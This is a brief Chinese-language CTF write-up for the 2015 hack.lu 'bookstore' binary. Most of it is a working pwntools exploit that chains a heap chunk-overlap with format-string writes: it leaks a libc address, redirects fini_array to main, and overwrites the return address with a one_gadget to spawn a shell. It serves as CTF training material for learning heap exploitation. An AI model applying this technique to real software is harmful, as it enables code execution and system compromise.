原理参见ctf wiki
chunk extend
一道有意思的例题
结合格式化字符串漏洞来加以利用。
2015 hacklu bookstore
exp
#coding:utf-8
from pwn import *
#context(arch='amd64',os='linux')
context.log_level='debug'
p=process('./books')
P=ELF('./books')
libc=ELF('/home/lusong/glibc-all-in-one//libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#gdb.attach(p,'b *0x400c8e')
#创建各个函数
def edit(ID,des):
p.recvuntil('5: Submit\n')
p.sendline(str(ID))
p.recvuntil('er:\n')
p.sendline(des)
def delete(ID):
p.recvuntil('5: Submit\n')
p.sendline(str(ID+2))
def submit(payload):
p.recvuntil('5: Submit\n')
p.sendline(b'5'+payload)
#先构造chunk1造成over lapping 并且构造dest 两个目的:1.泄露__libc_main_ret
#2.将fini_arry0改为main_addr
fini_arry0=0x6011b8 #0x400830
main_addr=0x400a39
payload = b'%'+b'2617'+b'c%13$hn'+b'-%31$p'+b'_%28$p'
payload = payload.ljust(0x74,b'a')
payload = payload.ljust(0x80,b'\x00')
payload+= p64(0x90)
payload+= p64(0x151)
payload+= b'a'*0x140
payload+= p64(0x150)
payload+= p64(0x21) #为了bypass the check: !prev_inuse(next_chunk)
payload+= b'a'*0x10
payload+= p64(0x20)+p64(0x21) #为了使0x150的块不和nextchunk合并
#
edit(1,payload)
delete(2)
submit(b'aaaaaaa'+p64(fini_arry0))
#
p.recvuntil('-')
p.recvuntil('-')
p.recvuntil('-')
__libc_start_main240 = p.recv(14) #__libc_start_main+240
p.recvuntil('_')
ret_biaoz = p.recv(14) #标志
__libc_start_main =int(__libc_start_main240,16) - 240 #__libc_start_main
libcbase = __libc_start_main - libc.symbols['__libc_start_main']
one_gadget = 0x45226 # 0x4527a 0xf03a4 0xf1247
ret_addr = int(ret_biaoz,16) - 0x1e8
sh = libcbase + one_gadget
print(hex(sh))
pause()
#
sh = sh&0xffffff
ch0 =sh&0xff
ch1 =(sh>>8) - ch0
payload = b'%' + str(ch0).encode('utf-8') + b'd%13$hhn'
payload+= b'%' + str(ch1).encode('utf-8') + b'd%14$hn'
payload=payload.ljust(0x74,b'a')
payload=payload.ljust(0x80,b'\x00')
payload+=p64(0x90)
payload+=p64(0x151)
payload+= b'a'*0x140
payload+= p64(0x150)
payload+= p64(0x21)
payload+= b'a'*0x10+p64(0x20)+p64(0x21)
#
edit(1,payload)
delete(2)
pause()
submit(b'aaaaaaa'+p64(ret_addr)+p64(ret_addr+1))
p.interactive()